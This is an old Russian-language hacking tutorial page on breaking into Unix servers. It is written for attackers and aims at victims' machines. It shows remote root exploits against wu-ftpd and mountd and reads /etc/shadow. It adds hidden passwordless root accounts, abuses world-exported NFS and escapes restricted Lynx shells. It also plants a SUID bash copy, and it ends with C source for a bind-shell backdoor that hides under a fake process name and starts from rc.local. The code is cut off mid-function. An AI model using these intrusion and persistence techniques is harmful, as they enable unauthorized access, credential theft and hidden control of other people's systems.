Новости Статьи Программы F.A.Q. Программирование Развлечения Релизы О проекте

Назад к статьям

Взлом UNIX.


Постараюсь объяснить самое элементарное, что должен знать каждый, а потом уже, если ты не уснешь, перейдем к более конкретному. Итак, эта операционка была разработанна фирмой Bell Labs концерна AT&T в 1969 году. На данный момент существует много разнообразных клонов Юникс, распространяемых как бесплатно, так и на коммерческой основе. Все они делятся на системы ATT типа и системы BSD типа. Системы различаются по структуре каталогов, типам ядер, компиляторам и тд. Ну не буду вдаваться в подробности истории Юникса, а перейдем
непосредственно к самой системе и ко взлому.
Для тех кто мало знаком с юникс, вот несколько комманд, которые вам пригодятся :
ls - посмотреть содержимое каталога
cp - копировать
cd - перейти в другой каталог , без аргументов возвращает вас в домашний
id - посмотреть ваш UID и GID
rm - стереть файл
rmdir - стереть каталог
cat - простейший текстовой редактор
ps - посмотреть список процессов
kill - убить процесс
ftp - фтп клиент vtelnet - телнет клиент
mv - передвинуть файл
who/finger/users - посмотреть кто залогинился в систему
ftpwho - кто залогинился по ftp
gcc - компилятор си
Перед тем, как начать ломать Юникс, тебе потребуется установить его себе, или добыть юникс шелл (если ты собираешься работать в Маздае), ну и конечно же нужно знать адресс компа который ты собираешься поиметь.
Взлом сервера следует начать с анализа системы жертвы (несобираешься же ты хакать не пойми что не пойми как-)). Сперва определяем тип и версию операционной системы. Для этого, проще всего зателнетиться на сервер и посмотреть табличку
hax0r# telnet www.*****.ru
Connected to www.*****.ru
Escape character is '^]'.
Red Hat Linux release 5.1 (Manhattan)
login:
Мы видим, что на сервере установлен линукс Red Hat 5.1 , но это не всегда оказывается правдой, системные администраторы часто меняют табличку, модифицируя файл /etc/issue.net и /etc/issue , чтобы завести хакера в заблуждение. Но систему можно определить и другими способами (лучше потратить больше времени и удостовериться в правильности определения системы, чем потом удивляться почему многое не выходит): по запущенным на ней демонам ( для этого просканим все порты, и прителнетившись к каждому открытому, посмотрим, что там висит) или программами определения версии и типа удаленной системы, такими как nmap(www.insecure.org/nmap), queso и тп. Посмотрев тип системы и все запущенные на ней демоны, сделаем finger (если открыт 70 порт), чтобы выяснить присутствуют ли там пользователи, и кто именно. (лучше всего произволить взлом, когда в систему никто не залогинился).
hax0r# finger @lame.****.ru
[lame.****.ru]
No one logged on
Далее, можно зателнетиться на сервер на 23 порт и проверить логины по умолчанию (звучит, конечно по ламерски, но часто это срабатывает, и не только на левых серваках).
IRIX System V.4 (lamo)
login: lp
IRIX Release 5.3 IP12 lamo
Copyright 1987-1994 Silicon Graphics, Inc. All Rights Reserved.
$ cat /etc/passwd
Теперь проверяем версии демонов, возможно, некоторые - страрье, тогда, можно воспользоваться удаленными эксплоитами. Для этого телнетимся на открытые порты:
port 21: ftp port 110: pop3 port 514: shell
port 23: telnet port 111: portmap port 515: printer
port 25: smtp port 143: imap port 6000: (X)
port 37: time port 512: exec
port 79: finger port 513: login
hax0r# ftp ftp.****.ru
Connected to satan.****.ru.
220 satan.****.ru FTP server (Version wu-2.4.2-academ[BETA-18](1) Mon Jan 18
19:19:31 EST 1999) ready.
Name (ftp.****.ru:hax0r): ftp
331 Guest login ok, send your complete e-mail address as password.
Password: mal@xakep.ru
ftp> ls -l
200 PORT command successful.
150 Opening ASCII mode data connection for /bin/ls.
total 8
dr-x------ 7 ftp ftp 1024 Jul 13 08:02 .
dr-x------ 7 ftp ftp 1024 Jul 13 08:02 ..
dr-xr-xr-x 2 root root 1024 Feb 25 16:34 bin
d--x--x--x 2 root root 1024 Feb 25 16:34 etc
dr-xr-xr-x 2 root root 1024 Feb 25 16:34 lib
dr-xr-xr-x 11 root root 1024 Feb 9 1998 pub
drwxrwxrwx 2 ftp ftp 1024 Jul 9 13:33 incoming /* можно писать ,то что надо */
-r--r--r-- 1 root root 605 Jul 16 1998 welcome.msg
226 Transfer complete.
ftp>
Мы видим, что на сервере установленна дырявая версия wu-ftpd. Это может быть использованно для того, чтобы зарутить сервер.
hax0r#./wu ftp.****.ru /incoming
Linux satan #1 Fri Feb 6 21:58:32 JST 1998 i686 unknown
uid=0(root) gid=0(root) groups=0(root)
Вот мы и получили права рута используя баг в этом сервисе ftpd, применив к нему программу-exploit wu (кстати запускать файлы в юниксе или на шелле нужно прописывая в начале файла "./". Эксплоит можно найти в поисковых системах или на специализированных серверах, посвященных безопасности. Но там вы найдете код программы на языке C, поэтому подробное описание того, что происходит при запуске эксплоита описывать не буду. А если кому интересно, подучите язык C и попробуйте разобраться сами. Откомпилить ее можно используя встроенные в линукс компилеры gcc или cc. (
hax0r# gcc -o wu wu-ftpd.c ).

Вот еще один пример использования бага в демоне mountd установленном на линуксе. Mountd всегда находится на разных портах (чтобы применить эксплоит нужно знать те порты на которых висит демон) и найти их можно посредством комманды
hax0r# rpcinfo -p satan.****.ru
program vers proto port
100000 2 tcp 111 portmapper
100000 2 udp 111 portmapper
100005 1 udp 691 mountd <- Использовать будем порт UDP .
100005 2 udp 691 mountd
100005 1 tcp 694 mountd
100005 2 tcp 694 mountd
100003 2 udp 2049 nfs
100003 2 tcp 2049 nfs
Определив UDP порт демона, применим mountd эксплоит (humpdee или ADMmountd).
hax0r# ./humpdee satan.****.ru 691
Got Shell
id
uid=0(root) gid=0(root) groups=0(root)
Существуют эксплоиты и для других демонов, но не будем рассказывать о них подробно, а просто перечислим:
imap (ver9.0-10.232),.qpop(ver2.2-2.4b2), named, sendmail, wu-ftpd(ver12-18), mountd и многие другие.
Этими способами мы получали доступ к системе с правами root , но это еще не полноценный шелл. Нам нужно добавить пользователя. Можно сменить пароль уже у существующего пользователя или добавить своего. Но для начала посмотрим какие пользователи уже есть (это пишем после получения рутшела) Вот пример двух пользователей
#cat /etc/passwd
root:x:0:0::/root:/bin/bash
пароль(1) group id домашняя папка
\ / / vsolo:x:1003:100:shiva okosara:/home/solo:/bin/bash
\ \ \ \
логин user id gecos шелл информация о пользователе

(1) Пароль в файле хранится в DES шифровке (про john the ripper все слышали ?
Я думаю - все, поэтому про дэшифровку писать не будем). А если в поле пароля стоит x или *, как в нашем случае, это значит пользователь заблокирован или стоит shadow, попробуем посмотреть тогда shadow:
#cat /etc/shadow
root:S7ydQTppJxub6:10269:0:::::
solo:wpmtJLstbtqgd:10781:0:99999:7:::
Вот и пароли в DES -) Да....мы же хотели получить полноценный доступ к системе. Для смены пароля уже существующего пользователя просто наберем
passwd solo
satan666
satan666
Теперь ваш логин solo а пароль satan666, но у пользователя solo обычные права,
да и когда он заметит, что его пароль сменен, администратор может просечь в чем дело-). Поэтому добавим лучше своего пользователя, даже двух (если мы создадим одного с правами root, то на некоторых системах, нельзя будет зайти удаленно). Мы создадим одного - обычного, а с него уже будем переходить на другого-суперюзера с помощью команды su.
echo "mal:x:666:100:Nakuva Satanium:/home/mal:/bin/bash" >> /etc/passwd
echo "mal::10666:0:99999:7:::" >> /etc/shadow
mkdir /home/mal
chown mal /home/mal
chmod 700 /home/mal
Это мы добавили обычного пользователя mal, теперь повторим тоже самое сменив имя , а вместо UID и GID поставим 0 . Что мы имеем ? У нас есть один обычный беспарольный пользователь mal, с помощью которого мы заходим в систему(можно сразу сменить свой пароль с помощью команды passwd из шелла) и один суперпользователь. Чтобы получить полный доступ к системе, зайдя с логином mal наберем :
mal# su name
(name = имя суперпользователя которого вы добавили).
Теперь у нас полный доступ к системе. Мы можем заменить страницу, прочитать чужую почту, а можно приспособить их сервер для своих нужд, но прийдется поработать (чтобы другой хакер не захватил этот сервер в свои руки, нужно закрыть все имеющиеся дырки ).
Подключение расшаренных ресурсов других юникс систем используя NFS
(Network File System).
Вот еще один способ, с помошью которого можно получить файл с паролями или шелл. Для этого нужно проверить какие дириктории жертвы доступны для подключения всем.
Это можно посмотреть с помощью команды:
hax0r# showmount -e satan.****.ru
export list for satan.****.ru:
/home (everyone)
/var (everyone)
/usr easy
/export/root/easy easy
/export/swap/easy easy v(everyone) - говорит нам о том, что этот каталог доступен всем, администратор этого сервера наверно не думал, что он также доступен и для удаленных пользователей, но мы живем не в волшебной стране, думать хорошо но лучше быть уверенным-)
Подключить каталог к своему Юниксу можно с помощью комманды: vhax0r# mkdir sucks
hax0r# mount satan.****.ru:/home sucks Теперь зайдя в каталог sucks/ на нашем компе, мы попадем на сервер satan.****.ru в папку /home . Теперь можем создать файл .rhosts в папке любого пользователя и залогинится на сервер используя rlogin, получить шелл и прочитать файл с паролями. Бывает так, что все могут подключать корневой каталог, тогда можно прочитать файл с паролями сразу.

Lynx.


Часто бывает, что админы делают публичный доступ к текстовому броузеру Lynx например hax0r# telnet very.nice.edu Connected to very.nice.edu Escape character is '^]'. SCO OpenServer(TM) Release 5 (very.nice.edu) (ttyp0) Login as lynx for text based browser lynx login:lynx стартуется броузер lynx Жмем g и набираем file:/etc/passwd и получаем файл с паролями Если файл урлы запрещены то в опциях поставьте Bookmark /etc/passwd затем сохраним и нажмем V и получим файл с паролями. Если редактировать Local Editor то поставьте его /bin/bash , чтобы получить командную строку нажимаем E и получаем командную строку. Lynxexec:/bin/sh получаем командную строку. telnet://satan.****.ru нажимаем contrl + ] вводим ! и получаем командную строку. Cgi-баги. Существует много дырявых perl скриптов, поставляемых по умолчанию вместе с web-серверами, или установленных самими администраторами. С помощью них нельзя получить права суперпользователя, но можно выполнять удаленные комманды с правами пользователя, из под которого запущен веб-сервер. Для нахождения дырявых скриптов существует большое количество сканеров, приобрести которые можно на серверах посвещенных безопасности. Если у тебя уже есть доступ к системе, то можно получить права супер пользователя локально. Для этого можно использовать локальные эксплоиты или другие утилиты такие как сниферы, трояны, системы аудитинга безопасности (cops, satan), которые проверяют наличие незапароленных бюджетов пользователей, правильность атрибутов файлов, ищут SUID файлы и тп. Локальные эксплоиты - это программы, позволяющие получить права суперпользователя, создать suid файл или получить доступ в группу супер пользователя. Чтобы найти нужный эксплоит, требуется знать тип системы и ее версию, это можно выяснить с помощью команды uname, и затем на каком либо сайте по безопасности Юникс найти эксплоит для данной системы. Сниферы - программы, которые ловят сетевой трафик на каком либо интерфейсе, это может быть как ethernet так и ppp. Например, если на сервере стоит снифер, то при заходе пользователя в систему, он(sniffer) перехватывает его логин и пароль. Трояны - это программы, которые являются заменой реальных программ, таких как login или su. Они запрашивают пароль, записывают его в файл, потом выдают сообщение, что пароль введен не верно и затем запускают реальную программу замены пасса. SUID файлы - позволяют выполнять команды с правами другого пользователя (часто root-а) Например скопируем /bin/bash в ваш домашний каталог и сделаем его SUID программой (Делается с правами root, чтобы потом легко получать права супер пользователя, если администратор закроет дыру) $ cp /bin/bash /home/hax0r $chmod 4775 /home/hax0r/bash Теперь при запуске этой копии bash все команды будут выполняться с правами супер пользователя. Как затроянить систему для удаленного доступа: Если вы получили права супер пользователя, и хотите сохранить доступ к системе на долго (часто администратор замечает, что его система была взломана и закрывает дырку и доступ пользователю, который получил полный доступ), то нужно установить так называемый троян фальшивых демонов или backdoor. Для этого можно установить программу демона, позволяющую зайти в систему с правами root-а используя определенный порт. Rootkit - набор программ для незаметности присутствия вас в системе. Можно затроянить существующего демона. Вот пример простого трояна, который вешается в бэкграунд из под рута и открывает порт. Если на этот порт зателнетиться и ввести пароль указанный вами, троян дает шелл с правами root-a. Инсталировать его следует из под прав root-a или ,например, если администратор поставил атрибуты возможности записи всеми пользователями в загрузочные скрипты ( в различных системах загрузочные скрипты называються по разному далее преведен пример для Linux) $ gcc -o solo solo.c $ cp solo /bin/solo $ rm solo.c $ echo "solo &" >> /etc/rc.d/rc.local ----------------резать здесь, solo.c----------------- /* back door original: hz ; modif:mal,delta */ #include #include #include #include #include #include #include #include #define PORT 5051 /* порт */ #define MSG "welcome home\n\n" /* приветствие-)*/ #define SHELL "/bin/sh" /* шелл */ #define PASSAUTH #define PASSWD "satan666" /* пароль */ #define YES 1 #define NO 0 int main(int argc, char *argv[]); #ifdef PASSAUTH int login(int EffDee); #endif int main(int argc, char *argv[]) { int sockfd, newfd, size; struct sockaddr_in local; struct sockaddr_in remote; strcpy(argv[0], "/sbin/agetty 38400 tty7 linux"); /* имя процесса */ signal(SIGCHLD, SIG_IGN); bzero(&local, sizeof(local)); local.sin_family = AF_INET; local.sin_port = htons(PORT); local.sin_addr.s_addr = INADDR_ANY; bzero(&(local.sin_zero), 8); if((sockfd=socket(AF_INET, SOCK_STREAM, 0)) == -1) { perror("socket"); exit(1); } if(bind(sockfd, (struct sockaddr *)&local, sizeof(struct sockaddr)) == -1) { perror("bind"); exit(1); } if(listen(sockfd, 5) == -1) { perror("listen"); exit(1); } size = sizeof(struct sockaddr_in); while(1) { if((newfd=accept(sockfd, (struct sockaddr *)&remote, &size)) == -1) { perror("accept"); exit(1); } if(!fork()) { send(newfd, MSG, sizeof(MSG), 0); /* посылаем приветствие */ #ifdef PASSAUTH if(login(newfd) != 1) { send(newfd, "You dont have access!\n", 23, 0); /* сообщение если пароль неправильно введен */ close(newfd); exit(1); } #endif close(0); close(1); close(2); dup2(newfd, 0); dup2(newfd, 1); dup2(newfd, 2); execl(SHELL, SHELL, (char *)0); close(newfd); exit(0); } close(newfd); } return(0); } #ifdef PASSAUTH int login(int EffDee) { char u_passwd[15]; int i; send(EffDee, "satan:", 6,0); /* строка запроса пароля */ recv(EffDee, u_passwd, sizeof(u_passwd), 0); for(i=0;i

Назад к статьям

Гостевая книга
Форум
ICQ: 131497343
Пишите мне
Сайт управляется системой uCoz